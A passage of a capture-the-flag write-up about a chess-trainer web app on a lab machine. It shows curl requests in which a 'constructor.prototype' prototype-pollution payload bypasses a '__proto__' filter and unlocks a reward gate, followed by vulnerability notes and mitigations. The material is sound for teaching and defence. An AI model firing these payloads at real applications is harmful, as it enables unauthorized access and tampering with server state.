&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; api &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./app.js:    res = await fetch('/api/move', {
./app.js:    const res = await fetch('/api/reset', { method: 'POST' });
./app.js:    const res = await fetch('/api/settings', {
./app.js:    const res = await fetch('/api/state');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Poking at the endpoints directly
&lt;/h3&gt;

&lt;p&gt;A couple of sanity checks on &lt;code&gt;/api/move&lt;/code&gt; before touching the session state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/api/move
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Cannot GET /api/move&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"from and to are required"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;POST-only endpoint, as expected, with basic input validation. I also poked around for a leftover &lt;code&gt;game.js&lt;/code&gt; (some builds split the chess logic differently), but nothing there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/game.js/
curl http://machine-ip:3000/js/game.js/
curl http://machine-ip:3000/js/game.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (all three, all 404)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Cannot GET /js/game.js&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Dead end - nothing extra to find there, so back to the actual API.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Confirming the checkmate gate is server-side now
&lt;/h3&gt;

&lt;p&gt;Grabbed a session cookie and checked the board state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://machine-ip:3000/api/state
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ongoing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Same starting position as before - rook on a1, king boxed in on g8. Played the same winning move that worked on the original box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"locked"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Checkmate! No reward for you."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"reward gate closed: session.config.unlocked is not set"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;That &lt;code&gt;reason&lt;/code&gt; field is doing us a big favor here - it names the exact server-side condition guarding the flag: &lt;code&gt;session.config.unlocked&lt;/code&gt;. Just calling the API directly, which was the whole trick last time, no longer works; the server now independently checks a flag on the session before releasing the reward.&lt;/p&gt;

&lt;p&gt;Tried an obviously illegal move too, just to confirm normal move validation is still intact server-side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"h8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"illegal move"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Good - the move engine itself is solid. The only path in is getting &lt;code&gt;session.config.unlocked&lt;/code&gt; to be truthy some other way. That points straight at &lt;code&gt;/api/settings&lt;/code&gt;, the one endpoint that takes an arbitrary-ish JSON object from the client and merges it into session-side state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trying to set &lt;code&gt;unlocked&lt;/code&gt; directly
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"theme":"forest","pieceSet":"classic","animationMs":180,"unlocked":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preferences"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"theme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"forest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"pieceSet"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"classic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"animationMs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The response only ever echoes back the three known preference fields, so a plain &lt;code&gt;unlocked&lt;/code&gt; key in the body is either ignored outright or stored somewhere that isn't &lt;code&gt;session.config&lt;/code&gt;. Either way it's not reflected, so time to see whether the merge itself can be abused instead of just its whitelist.&lt;/p&gt;

&lt;h3&gt;
  
  
  First prototype pollution attempt - &lt;code&gt;__proto__&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"theme":"forest","__proto__":{"unlocked":true}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preferences"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"theme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"forest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"pieceSet"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"classic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"animationMs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Reset the board and re-tried the mate to check if that pollution stuck:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/reset
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ongoing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"locked"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Checkmate! No reward for you."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"reward gate closed: session.config.unlocked is not set"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Still locked. &lt;code&gt;__proto__&lt;/code&gt; as a literal JSON key is a well-known prototype pollution vector, but it's also well-known enough that a lot of merge utilities (or &lt;code&gt;JSON.parse&lt;/code&gt; + certain frameworks) special-case and strip it. That's most likely what happened here - the key was filtered out before the merge ever saw it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Second attempt - &lt;code&gt;constructor.prototype&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;__proto__&lt;/code&gt; isn't the only way to reach an object's prototype. &lt;code&gt;constructor.prototype&lt;/code&gt; points at the same place and is filtered far less often, since it looks like an ordinary nested object to naive sanitization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preferences"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"theme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"forest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"pieceSet"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"classic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"animationMs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Same generic-looking response as always - the endpoint never confirms pollution either way. Reset and replayed the mate one more time to check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/reset
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ongoing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;That's it - no more &lt;code&gt;locked&lt;/code&gt;, no more taunting message, just the flag straight in the response. The &lt;code&gt;constructor.prototype.unlocked&lt;/code&gt; payload polluted the global &lt;code&gt;Object.prototype&lt;/code&gt; with &lt;code&gt;unlocked: true&lt;/code&gt;. From that point on, any object in the app - including the session's &lt;code&gt;config&lt;/code&gt; object - that doesn't have its own &lt;code&gt;unlocked&lt;/code&gt; property falls back through the prototype chain and finds the polluted one, so &lt;code&gt;session.config.unlocked&lt;/code&gt; reads as &lt;code&gt;true&lt;/code&gt; everywhere, satisfying the reward gate on the very next checkmate.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Prototype pollution via unsanitized object merge in &lt;code&gt;/api/settings&lt;/code&gt;.&lt;/strong&gt; The settings endpoint merges the client-supplied JSON body into session-side state (likely via something like &lt;code&gt;Object.assign&lt;/code&gt;, a recursive merge helper, or a naive deep-merge library) without rejecting dangerous key paths. It filtered the well-known &lt;code&gt;__proto__&lt;/code&gt; key but missed the equivalent &lt;code&gt;constructor.prototype&lt;/code&gt; gadget, allowing arbitrary properties to be written onto the global &lt;code&gt;Object.prototype&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security decision (&lt;code&gt;unlocked&lt;/code&gt;) implemented as a prototype-chain-readable flag.&lt;/strong&gt; Because the reward gate is just &lt;code&gt;session.config.unlocked&lt;/code&gt; with no check for whether that property is the object's &lt;em&gt;own&lt;/em&gt; property (e.g. no &lt;code&gt;Object.hasOwn&lt;/code&gt; / &lt;code&gt;hasOwnProperty&lt;/code&gt; check), polluting &lt;code&gt;Object.prototype&lt;/code&gt; was enough to flip the flag for every session on the app, not just the attacker's own state.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Nmap finds the same Endgame Trainer Express app, now on port 3000.&lt;/li&gt;
&lt;li&gt;The client-side "block the winning move" logic from the original box has been removed - checking &lt;code&gt;/js/app.js&lt;/code&gt; confirms &lt;code&gt;doMove()&lt;/code&gt; submits any legal move unconditionally.&lt;/li&gt;
&lt;li&gt;Replaying the previous exploit (&lt;code&gt;POST /api/move&lt;/code&gt; with the mate-in-one directly) now succeeds as a legal chess move but is refused by a new server-side reward gate: &lt;code&gt;session.config.unlocked is not set&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The newly-added &lt;code&gt;/api/settings&lt;/code&gt; endpoint merges client-supplied JSON into session state. A &lt;code&gt;__proto__&lt;/code&gt;-based pollution attempt is filtered, but pivoting to the &lt;code&gt;constructor.prototype.unlocked&lt;/code&gt; gadget gets through undetected.&lt;/li&gt;
&lt;li&gt;That pollutes the global &lt;code&gt;Object.prototype&lt;/code&gt; with &lt;code&gt;unlocked: true&lt;/code&gt;, which the reward-gate check inherits through the prototype chain.&lt;/li&gt;
&lt;li&gt;Resetting the board and replaying the exact same mate-in-one move (&lt;code&gt;a1&lt;/code&gt; to &lt;code&gt;a8&lt;/code&gt;) now passes the gate and returns the flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Sanitize &lt;em&gt;all&lt;/em&gt; dangerous key names before any recursive merge or &lt;code&gt;Object.assign&lt;/code&gt;-style operation on user-controlled input - at minimum block &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, and &lt;code&gt;prototype&lt;/code&gt; at every level of the object, not just the top level or the most obvious name.&lt;/li&gt;
&lt;li&gt;Prefer safe merge utilities that use &lt;code&gt;Object.create(null)&lt;/code&gt; for intermediate objects, or that explicitly copy only an allow-listed set of keys, instead of hand-rolled recursive merges.&lt;/li&gt;
